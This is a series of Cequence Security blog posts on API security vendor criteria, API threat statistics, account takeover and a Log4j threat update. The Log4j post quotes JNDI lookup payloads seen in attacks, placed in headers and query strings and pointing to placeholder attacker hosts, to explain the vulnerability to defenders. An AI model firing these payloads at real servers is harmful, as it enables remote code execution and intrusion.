• The use of a third-party solution for mitigation creates dependencies and challenges with upgrades and vendor changes.

Having flexibility in your response options is critically important to your API security strategy. Simply blocking API requests is not always an ideal response as it may encourage attackers to try different methods and may not be feasible from a business point of view. For example, a business may detect a data governance issue with a business-critical API, so blocking access to that API may not be an option. Therefore, the API security solution must ensure the weakness is not exploited while also allowing legitimate API use during the time it takes the DevOps team to roll out a fix.

Pitfalls to Avoid

• Avoid tools that rely on third-party solutions like WAFs for their mitigation response.
• Stay away from tools with blocking as the only response option.
• Avoid deployment architectures where detection and mitigation components don’t see the same API traffic.

#9 Deliver Enterprise-Grade Performance, Availability, and Scale

Guideline
Make sure your API security solution can handle your business’s scale and performance requirements. If you are a large enterprise with many hosting environments, with many APIs generating large volumes of API transactions, the solution should scale with no impact on performance and availability. Establish a success criterion for scale and performance based on your current and future needs and develop a test suite that evaluates solutions against it. Your API security solution must be highly available (H/A) and support H/A as a deployment option. Test for fail-over scenarios with a H/A set up to ensure the solution does not fail open or fail close when experiencing downtime.

Importance
Often enterprises choose security solutions after a proof of concept that is limited in scale, and then the vendor struggles with performance and availability under full production load. This results in time lost and spent troubleshooting and re-deploying for both the enterprise and vendor. The result is a sub-optimal outcome from the decision, deployment delays, vulnerable APIs, performance impact on production APIs, and cost over-runs. Establishing clear performance and scale goals then testing against them before you select your API security solution can save a tremendous amount of time and money in the long run.

Pitfalls to Avoid

• Avoid testing API security solutions in small DevOps environments and not at a production scale or based on the future needs of your organization.
• Steer clear of vendors with no H/A support.

#10 Ensure Your Application Architecture and Data Residency/Privacy Requirements Are Supported

Guideline
Make sure you can deploy a vendor across all your API environments with a unified management portal across them. If not, these environments can be discovered by an API attack surface discovery tool mentioned in the first criteria. Additionally, ensure your API security solution integrates with your current and future choices in CDNs, API gateways, load balancers, service mesh architectures, and cloud providers. Regardless of your deployment choice, your API security solution must support data residency and data privacy requirements as well as regulations applicable in all the regions where your APIs are hosted. That may require support for SaaS, on-premises, and hybrid deployment options. Validate data residency and privacy compliance as part of your vendor evaluation. When applicable, ensure your API security vendor has appropriate industry certifications like PCI, SOC2, ISO, etc.

Importance
SaaS-based API Security solutions may send customer data to hosting environments located elsewhere for analytics. That hosting environment’s geolocation and certifications may compromise your data residency and data privacy compliance. Data residency and data privacy law violations can cost organizations millions in fines and prevent them from doing business in certain parts of the world.

Pitfalls to Avoid

• Avoid evaluating in a single environment type if your organization’s infrastructure is heterogeneous.
• Don’t take the vendors’ word for it regarding data residency and data privacy— validate claims with tests and documentation to ensure it meets all your needs.
• Avoid SaaS-only solutions where data residency and data privacy laws are strict.
• Avoid accidental exposure to GDPR fines by shipping PII data to a third-party cloud.

Conclusion

Organizations are rapidly adopting an API-first development methodology because of APIs’ power, flexibility, and efficiency. The shopping, finance, manufacturing, and marketing apps we use every day are all based on APIs, connecting back to compute resources located elsewhere — the cloud, the data center, or both. Unfortunately, threat actors love APIs for the same reasons that developers do. APIs are susceptible to a range of automated attacks and vulnerability exploits that can lead to data loss and system compromise. To protect existing and future APIs, organizations need to implement forward a looking API security solution that unifies runtime API visibility, security risk monitoring, and patented behavioral fingerprinting technology to consistently detect and protect against ever-evolving online attacks.

Get a FREE outside-in assessment of your API attack surface area – what an attacker’s view into your organization might be.

API security is ranked as a top priority in 2022 for enterprises and security leaders worldwide, but in a market crowded with vendors, how can you find the right fit for your organization? With new API security startups showing up on the horizon seemingly every third week, all with different messaging, it can be a struggle to decide which vendor will meet your API security needs.

The Recommended Approach —Shield Right While Shifting Left

The Shift Left movement was designed to improve API security by uncovering and remediating errors during development. Unlike some API security vendors who say Shift Left is failing, we believe strongly these efforts are working and should not be abandoned. However, many experts, including those at Cequence, do not think that Shift Left is a complete API security solution, nor is it a replacement for best-in-class API protection — even a perfectly coded API is susceptible to an attack.

Instead, a Shield Right While Shifting Left approach is recommended. This is where you deploy inline protection for your APIs complemented by visibility, inventory tracking, risk assessment, and remediation. Here’s my reasoning: dynamic application security testing (DAST) and static application security testing (SAST) approaches use a battery of tests and techniques to break APIs. However, attackers can always come up with new and innovative ways of attacking your APIs not covered by your DAST tools. In these cases, you need ways to protect your APIs from an attack, but your options are somewhat limited to include:

• Web Application Firewalls (WAFs) that protect web applications from known runtime threats missed by static and dynamic code analysis. However, WAFs struggle to protect APIs and are ineffective in defending against unknown and automated attacks.
• First-generation bot prevention tools that rely heavily on client-side integration, which cannot be done effectively for an API, making these tools largely obsolete for API protection.
• API-specific tools that focus on helping you find and address coding errors before publication but are unable or have limited ability to detect AND prevent attacks natively.

With the Shift Left while Shielding Right approach in mind, here are five of the ten criteria your API security solution must meet to ensure comprehensive API protection.

#1 Provide an Outside-in View of Your API Attack Surface Area and Risk Exposure

Guideline
Look for an API security solution that gives you an attacker’s view, from the outside looking in, of your external API assets across all deployment locations including multiple clouds, data centers, service mesh, SaaS, and hybrid. It should do this without requiring the deployment of an agent or any other software. All APIs should be intelligently classified and assigned risk scores to help you prioritize remediation, protection, and deployment steps.

Importance
Modern enterprises have APIs hosted across data centers, multiple clouds, and service mesh environments, some of which may be unknown to security teams. At the same time, organizations adopting faster DevOps cycles will often publish APIs in the environment of their choosing without the knowledge of their security counterparts. Often referred to as shadow APIs, these can cause security gaps and were responsible for many of the API incidents seen in 2021 (e.g., Clubhouse, Experian, and Peloton). These APIs are often in staging mode with access to production data, API performance monitoring servers, third-party APIs, and other sensitive data, exposing them to attackers. Your API security solution must map all your APIs across any hosting environment with the same outside-in view that an attacker might see. Once discovered, every API must be classified and assessed for security risk to help you prioritize which APIs to secure first.

Pitfalls to Avoid

• Stay away from run-time deployment with a limited set of integration points. You want to avoid those that ONLY tie into edge devices, ONLY with load balancers, or ONLY API gateways. This limited visibility may lead to a false sense of security. Other hosting environments could be completely unknown to your security teams and therefore left unprotected from threats.
• Don’t confuse this with more traditional Attack Surface Management tools as they are not API-centric and lack the classification and risk scoring capabilities modern enterprises need.

#2 Perform Runtime Discovery and Cataloging of APIs

Guideline
Your API security solution must provide an inside-out view that complements the outside-in view with continuous API discovery, cataloging, and risk assessment at runtime. It should support a variety of API types such as XML/SOAP, REST, and GraphQL. It should also group APIs by department, server, function, and location while allowing you to assign ownership with appropriate access control. Policy-based discovery alerts based on shadow API findings integrated into your SIEM/SOAR system to remove human involvement and improve efficiency are another must-have for an enterprise-grade API security program.

Importance
API breaches commonly occur due to unknown and unprotected APIs. Therefore, discovering shadow APIs in various hosting environments is a critical step in starting your API security program.

Pitfalls to Avoid

• Avoid API security tools that can’t handle certain API types.
• Avoid API security tools that compromise privacy and governance policies due to lack of proper access control and grouping of APIs in their dashboard.
• Avoid API security tools that don’t have SIEM/SOAR integrations and automated responses to shadow APIs.

#3: Provide Continuous Data Governance and Risk Assessment

Guideline
Your API security solution must continuously assess API transactions for data governance violations. Based on the definition of sensitive data, governance violations can mean different things to those in finance, retail, healthcare, and other types of industries. Regardless, the solution must look for unintentional leakage of sensitive data elements through insecure, unauthenticated, or unauthorized APIs. Another must-have data governance feature is to deny access to certain entities as mandated by your business, regulators, and law enforcement. Most enterprises are banned from doing business with entities located in the OFAC list of countries. Your API security solution must be able to enforce all such restrictions as part of the data governance function.

Importance
Unintentional sensitive data leakage or theft via an attack can result in significant financial and regulatory violations. Your API security solution must ensure that you can continuously assess data usage by APIs and initiate remediation and prevention steps when violations are discovered.

Pitfalls to Avoid

• Avoid Inflexible and opaque solutions that result in high false-positive rates due to lack of tunable detection based on industry, use-case, and context.
• Be wary of complete reliance on ML/AI with no manual override possible, which can lead to a large number of false positives.
• Stay away from solutions that rely on third-party enforcement and can result in extended data exposure and governance violations.

#4 Assess and Enforce API Specifications Conformance

Guideline
Your API security solution must use API specifications to protect APIs in three different ways:

1. Integrate with CI/CD pipelines to consume API specifications in pre-production environments, looking for potential vulnerabilities before APIs go live.
2. Validate runtime API behavior against the specifications, flagging any deviations and initiating alerts for remediation.
3. For legacy APIs where no specifications exist, the solution must generate API specifications based on the runtime behavior of APIs and repeat steps one and two for those.

Importance
Organizations are rapidly adopting API specification frameworks to improve quality, consistency, and security at runtime. Sometimes though, developers will deviate from specifications or forget to update them as new APIs are published. Specification non-conformance can introduce weaknesses and risks that the security team doesn’t know about and can’t address. The same is true for legacy APIs that are live with no specifications associated with them. Therefore, runtime specification validation, conformance enforcement, and generation are a must-have for your API security solution.

Pitfalls to Avoid

• Avoid API security tools that do not integrate with your choice of CI/CD pipeline.
• Don’t get locked into an API security tool that cannot generate specifications in the format you have standardized – Swagger, OpenAPI, etc.
• Stay away from API security tools that can only initiate alerts on schema non-conformance and are unable to enforce schema conformance.

#5 Natively Protect Against All OWASP API Security Top 10 Threats

Guideline
Your API security solution must include comprehensive and native protection against all the threats listed in the OWASP API Security Top 10.

Importance
APIs and the environment hosting them are vulnerable to similar threats that targeted web applications in the late 90s. As developers migrate business logic from web applications to APIs, the attackers migrate there as well. APIs are easier to attack as they are often well documented via published specifications.

Pitfalls to Avoid

• Avoid signature-based tools like WAFs that attackers can easily bypass.
• Stay away from solely DevOps-focused tools and lack a balanced approach to preventing threats while code is being fixed.
• Avoid using a vendor’s own test suite to validate this functionality. Create a battery of tests based on your APIs and the threats that can target them.
• Avoid API security tools that cannot natively mitigate threats and rely solely on third-party tools such as WAFs. Such tools cause a time delay between detection and response and higher than average false positives, which leave APIs vulnerable to compromise.

Coming next week: Ten Things Your API Security Solution Must Do: Part II!

APIs are the Developer Tool of Choice and #1 Target for Malicious Use

Today, everything is an app. A Tesla isn’t really a car – it’s a four-wheeled app. Every one of the 142B+ device app downloads including your money management or a favorite shopping or fitness app are all built on application programming interfaces (APIs). The user interface that is designed to deliver an engaging user experience is supported by APIs connecting back to compute resources located elsewhere – be it the cloud, the data center, or both.

Validating that APIs are the development tool of choice, the most recent Cequence Security API Usage and Threat Report found that 14.4 billion or 70% of the 21.1 billion application requests analyzed were API-based. Designed for machine-to-machine interaction, APIs provide developers with great flexibility, allowing them to create complex functionality that executes the entire transaction including payload. Usage patterns validating these findings include increased usage of GraphQL for development and APIs referencing health monitoring services, OpenAPI specifications, and sensitive data patterns.

That same power and flexibility found in APIs are also leveraged by attackers, who use their developer skills for malicious purposes. The analysis confirms that APIs are the preferred target for malicious use with 80% or 1.8 billion blocked attacks found to be API-based. APIs simplify the execution of sophisticated, hard to prevent automated attacks and business logic abuse, highlighted by an increase in ATOs against login APIs and a surge in content scraping against APIs.

Login APIs Targeted by 62% Increase in ATOs

During the June to December 2021 analysis period, the data reflects a 95% increase in the use of APIs to facilitate account logins and registrations. That increase in activity is mirrored by a 62% increase in account takeovers (ATOs), known to be one of the most common automated attacks and often the precursor to different types of fraud. As an example, gift card fraud was increasingly common during 2021 as a whole, driven in large part by the pandemic. Successful ATOs lead to card or points theft, fraudulent purchases, or resold for profit, impacting businesses with lost revenue, disgruntled and frustrated customers, and increased infrastructure costs.

Wreaking a greater financial impact on organizations and users, ATOs are the first step in loan fraud. In 2021, attackers targeted APIs supporting financial membership sign-up program offerings that included automatic qualification for small dollar figure loans. Using a combination of APIs and manual efforts, attackers launched large-scale ATO attacks, and if successful, were able to then apply for a pre-qualified loan resulting in financial fraud.

Content Scraping Against APIs Skyrockets 178%

Content scraping often viewed as benign but in reality, can be difficult to prevent and can dramatically impact an organization’s bottom line, saw a massive uptick of 178%. The term content scraping is often equated to web or HTML-based content, however, when analyzing the most common type of content stolen – pricing, part numbers, product descriptions – the dramatic uptick makes perfect sense.

APIs are used to call inventory and pricing databases thereby facilitating the use of automation to quickly and easily steal the desired content. The business impact of content scraping includes loss of intellectual property, increased competitive pressure on sales margins, and compute resource cost overruns.

APIs at Risk: System Health, Sensitive Data, and Internal API Exposure

Looking at the data from a developer-centric perspective, the analysis shows growth in the use of new tools like GraphQL and the adoption of OpenAPI specifications, both of which can accelerate the delivery of more secure and consistently coded APIs. On the flip side, the analysis showed dramatic increases in APIs that use or can expose too much data, introducing potential security risks.

• OpenAPI/Swagger and GraphQL on the Rise. APIs that referenced OpenAPI or Swagger specifications jumped 352%, signaling an uptick in adoption that can lead to higher quality and more secure APIs. However, when care is not taken to control public access to the specifications, they can provide a blueprint for an API attack. GraphQL, a new, rapidly growing development technology that offers speed and flexibility saw usage increase 133% over the six-month period. Too often, new technology adopted (too) quickly can introduce security risks.
• APIs and Data Exposure Risks Skyrocket. Health monitoring APIs, used much like a blood test to uncover system problems, skyrocketed 941%. When coded without considering the security best practice of using minimal information, attackers can use the system information for malicious purposes. The use of APIs that include sensitive data such as payment or personally identifiable information jumped 87%, emphasizing the continued need for strong security and privacy during API development. Public-facing APIs linked to internal or non-production applications grew by 46%, reminding organizations that they should adopt the position of treating all APIs as if they are internal to prevent inadvertent API exposure.

3 Steps to Comprehensive API Security

Comprehensive API security requires a prevention-first approach that combines complete API visibility, runtime risk assessment, and remediation with native, inline attack prevention.

• Step 1: API Discovery and Inventory Tracking: You cannot protect what you cannot see. Integration with any element of your API management infrastructure using either an inline or out-of-band data collection ensures all APIs are found, tracked, categorized, and assigned a respective owner.
• Step 2: API Risk Assessment and Remediation: Acting as a final security check, using predefined or custom risk assessment rules helps uncover and remediate APIs with weak authentication, exposing sensitive data, using verbose error messages, or out of conformance with published specifications.
• Step 3: Native, Inline Protection from Attacks and Vulnerability Exploits: Even a perfectly coded API can be attacked, strengthening the need to actively analyze and prevent attacks in real-time, using predefined, customizable policies with response options that include log, block, rate limit, geo-fence, header injection, or deception configured per app or API.

Cequence Unified API Protection integrates with Istio Service Mesh, Tetrate Service Bridge and NGINx and Envoy Proxies to ensure all APIs are discovered, analyzed and protected, regardless of location. The integrations help customers address one of the most critical API security challenges the face: API visibility.

The API visibility challenge is brought on by the widely distributed nature of API development and deployment. APIs were historically used internally to connect systems on the back end, and developers often had free reign to deploy as they needed, often with minimal oversight or security involvement. Today, API usage has expanded across the organization and the network, acting as the conduit between public-facing web applications and back-end systems. Regardless of how the API is used, when deployed without visibility and oversight, they become known as shadow or zombie APIs, categorized as OWASP API9 (Improper Asset Management). These APIs lurk in the background, waiting to be discovered and exploited as shown in the API Protection Report – First Half 2022 where roughly 31%, or 5 billion of the 16.7 billion malicious transactions targeted shadow and zombie APIs. Their unknown, unmanaged, and often unsecured nature make shadow APIs easy for attackers to discover by analyzing an organization’s exposed APIs and then simply fuzzing or modifying the values, enumerating through other API endpoints or different versions, under different hostnames to find other API variants.

Stronger API Security Begins with Complete API Visibility

The dual nature of APIs — as an increasingly popular developer tool and a favorite target of threat actors — means companies must prioritize discovering their entire API footprint. One approach to the API discovery challenge is to try to force all APIs through a single chokepoint. However the widely distributed nature of API development and deployment makes this choice cumbersome to implement and enforce.

An alternative approach is to gain API visibility by observing the traffic as it traverses the different network infrastructure components. Public-facing APIs may traverse a CDN or be managed by an API gateway. In other cases, the APIs may reside within the datacenter or a microservices environment where they might traverse a proxy or a service mesh. As mentioned in previous blogs, the Cequence UAP integrates with leading CDNs, API gateways, and it can integrate with Service and Mesh Proxies to help organizations gain complete API visibility from the edge to the datacenter while minimizing workflow disruptions.

• Service Mesh Integration: Whether they are deployed in the cloud or not, many organizations are using cloud-native development principles to build and deploy new applications more rapidly. Two integral components for cloud-native applications are the use of microservices with APIs acting as the glue so applications can communicate with each other. Service mesh plays a critical role in incorporating DevSecOps principles by adding security and reliability to connect microservices across infrastructures without any additional code.Discovering all the API endpoints exposed by microservices and securing them is difficult due to the rapid pace of development and inherently distributed nature of these applications. Integration with Istio and Tetrate Service Bridge help solve these security challenges with centralized discovery of APIs, detection of security risks and threats, and inline protection against threats.
• Proxy Integration: To enable analysis of API and web application traffic, the Cequence UAP can integrate with Nginx, Envoy and F5 Big-IP Proxies. The versatile nature of a proxy allows it to be deployed almost anywhere within your IT infrastructure – from the datacenter and microservices environments to the cloud. Once deployed, administrators can selectively choose the API and web traffic that needs to be inventoried, analyzed, and protected.

Check out our Growing List of Technology Integrations

Secure All Your APIs with Cequence Unified API Protection

The Cequence Unified API Protection (UAP) solution addresses the challenges with API sprawl with a broad set of technology integrations designed to ensure visibility into all APIs regardless of how and where they may be deployed. Deployed as a SaaS or as a hybrid architecture, the Cequence UAP solution integrates with service mesh and proxies to full coverage for each phase of an API protection lifecycle. Cequence UAP features include:

• Discover Public Facing API Attack Surface: API development and deployment is often distributed across many groups, introducing the risk of APIs deployed as a shadow API. The Cequence UAP solution solves that challenge by continuously assessing your public facing APIs and resources to provide an attackers view of your organization’s attack surface, including cloud hosting services, any associated API endpoints, and servers that may be vulnerable to Log4j and LoNg4j exploits.
• Centralized Inventory Tracking of Known and Unknown APIs: The Cequence UAP solution integrates with a range of infrastructure components to provide centralized API visibility and inventory tracking of all the APIs deployed and managed by the respective API gateways. Unregistered or unknown APIs are also discovered, allowing security and development to migrate those shadow APIs to the respective API gateway to ensure security and governance policy consistency.
• Strengthen Compliance and Data Governance Controls: Cequence helps organizations enforce compliance and governance controls with proactive API risk analysis and remediation. Predefined and custom risk assessment rules based on the OWASP threat list framework helps organizations teams find and remediate coding errors that introduce sensitive data handling and authentication vulnerabilities that can lead to data governance and compliance violations.
• Detect Sophisticated API Attacks: The Cequence UAP solution detects threats in your APIs using ML-based analysis based on a threat database with millions of records and behavioral fingerprinting to detect and continually track sophisticated API attacks as they retool to evade detection.
• Flexible, Real time Mitigation Responses: Real time responses to API attacks range from basic block and rate limiting to HTTP header insertion and deception, all executed in real time, per policy or per app, without reliance on integration with third-party WAFs.

Review the API gateway integration guides for Istio, Tetrate, Nginx and Envoy to learn how the Cequence UAP solution can protect your APIs and reduce your risk exposure.

Schedule Your Free API Security Assessment

Account Takeover (ATO) happens when an attacker takes over a user’s financial, airline miles, retail, streaming, mobile device, or other password-protected accounts. Attackers that successfully bypass API security can then make wholesale changes to compromised accounts or use them as part of another attack. Compromised accounts can be used in phishing campaigns, wherein the recipients see the sender as a trusted account and the attack has a greater chance of success. The compromised account can also be used to gain further ingress into an organization. However, the most common end goal of an ATO is financial gain through fraud or theft.

Key Takeaways

• According to Security.org, 22% of adults in the US. are victims of account takeover.
• Bad or weak passwords are one of the most common reasons for account takeover.
• Cybercriminals employ various attack techniques to execute an ATO , such as high-volume bot attacks, brute force, phishing, and malware.
• The key target accounts for attackers are those with access to critical financial, employee, or other sensitive business information.
• Once an account is compromised, it can be hijacked by an attacker to commit fraud, cause reputational damage, launch phishing campaigns, and more.

How does an Account Takeover Happen?

Organizations are accelerating their digital transformation efforts backed by a move to the cloud; they use an array of communication channels and leverage an IT framework underpinned by the diverse advanced systems. This has resulted in a growing attack surface and numerous potential vulnerabilities that cybercriminals can exploit to hack into accounts. Furthermore, there is a palpable lack of security awareness amongst people, and many don’t see account takeover as a critical threat. This means there is a tendency to take certain decisions that make it easy for criminals to gain access to accounts, for example, users tend to create weak passwords that can be cracked without much effort. In addition, some people fall for social engineering attacks and share their passwords or personal information with attackers.

Also, much of our personal information used for account login, like email, date of birth, etc., are available on the internet. When this information falls into the wrong hands, it can be used to log into accounts. When a hacker breaks into an account, they get access to other information that is used to keep the account secure, including usernames, passwords, and more. They change everything so much that the actual user then has no access to the accounts. Users’ attempts to access the account can look suspicious, as they do not know the account information changed by the hacker.

Attack Techniques Used

Some of the attack techniques used to compromise accounts include:

• Credential Stuffing: The most common ATO vector is when hackers use the estimated one billion plus stolen credentials from other data breaches (usually unrelated) to take over an account. Often, these attacks are successful because of a common (bad) habit of password reuse. If the password leaks in a data breach, criminals will try this password to get into an account with the same username, which was unearthed in another breach. Commercially available tools help simplify the execution of credential stuffing attacks by giving threat actors a management portal that allows them to define a target organization, generate credential lists, distribute the attack, and modify behavior to evade detection.
• Malware Attacks: Different types of malware such as keyloggers etc., are specifically created to collect and expose credentials. These are launched by an attacker through diverse ways and means to access needed information.
• Phishing: Phishing is another form of committing ATO wherein victims are coaxed/convinced to share vital information they shouldn’t be sharing with a third party without due diligence. A typical phishing technique is sending emails that appear to be from a trusted source, which creates a sense of urgency so that users share information without thinking things through. Spear phishing is a subset of a phishing attack and is more targeted. In this case, the messaging will mention certain specifics that will be of interest to the recipient, increasing the chances of the attack succeeding.
• Brute Force Attack: This hacking technique uses automated scripts expressly built to go through numerous password combinations and tries to freeze on the correct login credentials.

How to Identify Account Takeover?

From an end-user perspective, there are some tell-tale signs of account takeover. If the hacker has changed all account details, you won’t be able to log into the account. If the attacker has hacked into your email account, look for signs of suspicious activity in emails sent from your account to your contacts. There is also a chance that it is a multiple-account takeover wherein a single user has lost control of numerous accounts. If you are the user, you will realize that there are changes across various accounts, and you might receive multiple password change notifications. At the organizational level, tell-tale signs are high a higher than average level of login failures, many login attempts from a small number of IP addresses, often from locations where little or no business originates historically.

How To Prevent Account Takeover?

Account takeover prevention begins with recognizing the problem and its prevalence at both the user and organizational level. Users must be aware that their accounts are under threat and must take necessary steps to make it difficult for attackers to compromise your accounts. Some of the critical security measures that will help in your efforts include using a password manager to create and manage strong passwords, use two-factor authentication on your critical accounts, create security questions not easily uncovered from your social media profiles.

At an organizational level, detecting and mitigating automated threats targeting authentication infrastructure with ATOs is challenging, but the results of leaving applications or APIs undefended is known to negatively impact the business bottom line. A solution designed to stop account takeover attacks should deliver:

• Simplicity of use and implementation: Today, you may achieve protection by redirecting to a Software-as-a-Service rather than a major installation. The software can protect apps smoothly without requiring JavaScript or mobile SDK integration.
• High-efficacy prevention: Protecting against account takeover and related bot attacks means using a system stocked with useful countermeasures. Policies should reflect the latest threat intelligence, including data on the infrastructure threat actors are using in their automated attacks.
• Customizable policies: While the mitigation policies that come with a security tool should be capable of defending important infrastructure, there should also be room for customization to reflect companies’ own leading themes.
• Consistent protection for web, mobile and APIs: Companies that aren’t defending their APIs are leaving themselves vulnerable to major attack types, account takeover among them. Security tools should use no-client-integration methodologies to gain visibility and consistent policies across all apps and APIs.

Account Takeover Protection with Cequence Security

Considering the overwhelming popularity of API-based development, it’s likely that your organization already maintains numerous login APIs, with more to come over time. Protecting that potential attack surface is therefore a fundamental cybersecurity need that the Cequence Unified API Protection (UAP) solution addresses. The Cequence UAP goes beyond limited API security tools to address every phase of an organization’s API protection lifecycle.

• First, organizations must discover their entire API attack surface, using both outside-in and inside-out methods to see what attackers will see. This includes finding shadow APIs, deprecated and outdated components and more potential risk factors.
• Then, businesses need to employ real-time API threat detection methods to prevent all kinds of harmful traffic. Systems should be able to guard against both known threats and emerging threats, all according to customized rules.
• Finally, as discussed above, IT security teams require comprehensive API threat prevention tools. These must be capable of providing customized and automated responses based on the type of harmful traffic detected, whether that means blocking, limiting, or even deceiving the attack.

Putting these API-focused advanced threat protection components together provides a more comprehensive approach to ATO defense than would be possible with a web of disconnected API security tools that only deal with parts of today’s varied threat environment.

See What Attackers See.
Get your free API security assessment and block attacks before they happen.

Free Assessment

With our recent round of funding, we have opened up numerous API security career opportunities around the world, both in-office (Sunnyvale, CA and Cincinnati OH) and remote. You can review the available API security openings here. But before you do, I thought I would update my 2018 blog on what it’s like to work here.

Obviously, the biggest change between 2018 and now is the notion of “office or not.” We have always embraced remote working, although not as a formal policy. With the pandemic, we have formally embraced it – how many organizations can tell you that they have customer success engineers in both Anchorage, Alaska, AND Newfoundland, Canada?

The other significant change since 2018 is we have added API discovery, inventory tracking, risk analysis, and remediation to our existing ML-based API threat protection, bringing to market the most comprehensive API Security Platform on the market. Why? Today, everything we do relies on APIs. Modern cars, your favorite mobile app, frequently used shopping site, and finance management all use APIs as their underlying connective tissue to deliver an engaging end-user experience. For these same reasons, threat actors love APIs, with Gartner predicting that by 2022 API attacks will become the most-frequent attack vector, causing data breaches for enterprise web applications.

The expansion was easy for us – we have been protecting APIs for our F500 customers for years now, using patented, ML-based behavioral fingerprinting to natively detect and mitigate attacks and vulnerabilities hiding in plain sight among legitimate traffic. With our API Security Platform, customers can deploy runtime protection while also analyzing their APIs to uncover and remediate developer errors before they are exposed. Something we call Shielding Right While Shifting Left.

API Security is exploding and we are hiring staff for significant growth over the next few years. We are looking for talented individuals, working anywhere, who want to join a fast-paced organization to deliver and support the most comprehensive API security solution on the market. If the mission and culture I discuss below are a fit, then slip on over to the API Security careers page to take the next step.

Original 2018 blog: Working at Cequence Security

Prospective employees frequently inquire about our company culture at Cequence Security, so I thought I would share my thoughts on the topic. Before I do that, it makes sense to define mission and culture, as those two topics go hand in hand.

A mission declares an organization’s purpose, or why it exists, while the company culture reflects the values and actions of each member of the Cequence team in pursuit of the company mission and goals.

So, what makes our company special and a great place to work? Let’s start with our mission – to empower our customers with innovative security solutions that protect their Internet-facing web, mobile, and API application infrastructure from cyber-attacks, while also improving the operational efficiency of their IT staff.

The company culture that supports our mission has many components and is difficult to describe in a couple of statements, but at the core, we’re fanatical about the following:

1. High growth/fast pace. Tripling our business and doubling our headcount year over year. Embracing agile development with 2-week sprints to deliver new features and capabilities that delight our customers. We are on a mission to rapidly improve application security.
2. Engagement up and down the company including our customers and business partners. We are passionate and committed to the mission. To paraphrase the fable of the Chicken and the Pig, we are a company full of pigs fully committed, there are no chickens in the building.
3. Not all heroes wear capes. We believe in frequently recognizing and rewarding the people on the team who are busting their tail and making a difference for our customers.
4. Teamwork. We are collaborative inside the organization and with our customers. We don’t have fixed organizational lines, everyone pitches in to reach our lofty goals. We don’t sell to our customers, rather we enter into partnerships with our customers and we become extensions of their team.
5. We have fun. We’re family, we genuinely like working together and have fun together. We laugh a lot. When you’re working at a startup, you see your startup family more than you see your personal family, so it’s important to have fun together.

Having worked in Silicon Valley for many years, it’s unusual to find a start-up where the mission and the culture are unified like this. It also creates great employment opportunities for talented people anxious to embrace the mission and culture and make a positive difference. If this sounds compelling to you, let’s talk!

When Log4j was first exposed to the public, it was only a matter of time before exploits would be developed and fired at any unsuspecting web server with the chance of getting Remote Code Execution. But to get from “we know there is a problem” to “we know that server has a problem” to getting help takes a few steps.

Patching is painful, pure and simple. It requires finding unpatched devices, applying patches, crossing our fingers we didn’t break anything and moving on. Attackers know this and use it to their advantage. Once a patch is released, attackers don’t stop. They know you are following change control processes that ultimately make patching an even slower process. When it is only a matter of time, time matters. Especially if the released patches don’t fix the problem or they introduce new ones.

As Log4j hit the streets our CQ Prime Threat Research Team began seeing telemetry indicators telling us that attackers had found a way to leverage the vulnerability against our customers. The team saw User-Agent strings lighting up our customer’s logs with tests.

So let’s break Log4j down a bit. The application receives a request, the request is initiated by a user. Typically the application is going to log specific items in order to keep tabs on certain activities, trends and so on. Usually, the logs capture IP addresses, User-Agent strings (the browser used by the user), where the request is going in the application, etc. If there is a problem, then those very logs are a great resource. What to log is a continual discussion. That you should log is not – everyone should log. At the heart of the Log4j vulnerability is the fact that someone figured out that the logging service in use could be told, as part of its logging requirement, to execute other functions. For instance, if a user-agent string is being logged but it contains https://www.example.com/evil.php, the logging service will try to look that up by going there.

Yes, that’s right. You may know this, but it turns out that your server’s log function carries all the other functions of the operating system, and therein lies the vulnerability. Your web or application server shouldn’t initiate outbound connections nor should it attempt to download files. So, we need a patch. Now.

Log4j in the Wild

Out of the theoretical and into the real world, the research team immediately started seeing User-Agents that looked like this: ${jndi:ldap://<server address><location>. These were attacker-controlled LDAP servers looking for a call back from the victim server. Once the callback happened the attacker knew the victim server is vulnerable. It is possible though that the first endpoint the attacker tried wasn’t vulnerable as logging wasn’t enabled, so the attacker will use automation to enumerate through other endpoints to discover locations that are logging.

To date, the research team has seen the following patterns in action against our customers: 70+ header variations tried but most commonly User-Agent and Referrer variations are the most common. In addition to header values that are often logged, we have also seen this type of attack attempted as query string parameters like www.example.com/q=$%7Bjndi:ldap:/<victim>-ca.s.<evildomain>/%7D coming from both suspect organization networks as well as completely legitimate residential networks. Obviously, these are tests running on Bulletproof Proxy networks with a mix of high-value residential proxies used to mask location and identity. Note that if you are logging anything from the response body it is also possible to fire this exploit from that location.

Log4j Guidance

The process we are guiding our customers through is to first make sure they have an accurate application inventory. We can see customer web and API endpoints that are being used/attacked and are able to ensure those systems are protected. Even those not in use are being discovered for patching. Inventory is a critical first step, knowing what applications are in need of patching can guide efforts to protect the entire estate.

We have large, diverse customers who are patching like mad. But many systems take time. If the customer isn’t able to patch, we have developed a virtual patch where we block traffic from bad networks that might have exploit code attempts carried in them and are probing or exploiting. In some cases, simply dropping bad traffic with no reason can drive an attacker to go elsewhere. This doesn’t give our customers an excuse not to patch, it just allows them some extra time to ensure all the right systems are patched and operating nominally.

We won’t tell you we will solve all your Log4j problems, but we have developed some internal tools designed to help you understand what applications and APIs are out there, and how they are at risk.

Today, we’re excited to announce that Cequence Security has raised $60 million in series C funding, beginning our next phase of significant growth as a leader and innovator in the API Security category. Menlo Ventures led this most recent funding round, with partner Venky Ganesan joining our board of directors. Our relationship with Menlo Ventures and Venky, a seasoned cybersecurity investor who has his finger on the pulse of the API security market, is a significant milestone for us. In our funding press release, Venky expanded on his belief in our approach, explaining, “Part of the appeal is their superior product architecture. Cequence can stand alone: It is the only solution that provides visibility and inline response mitigation to attacks on APIs. It’s the only solution out there that doesn’t need to signal other products for mitigation.” Additional series C participants included ICON Ventures, Telstra Ventures, and HarbourVest Partners, in addition to existing investors Shasta Ventures, Dell Technologies Capital, and Touchdown Ventures.

APIs Are Now the Foundation of the Business

As Cequence enters our next chapter, we’re thrilled to celebrate this news with our customers and incredible team. However, we realize there are many more innovations to be made, customers to help, and billions more APIs to protect. APIs have become the foundation for nearly every customer interaction with any business. Web applications call APIs for their business logic, mobile apps are API-based, partner ecosystems are all API-based, and the backend applications supporting the business are now modular in nature, relying on APIs to communicate.

A Crowded, Immature Market

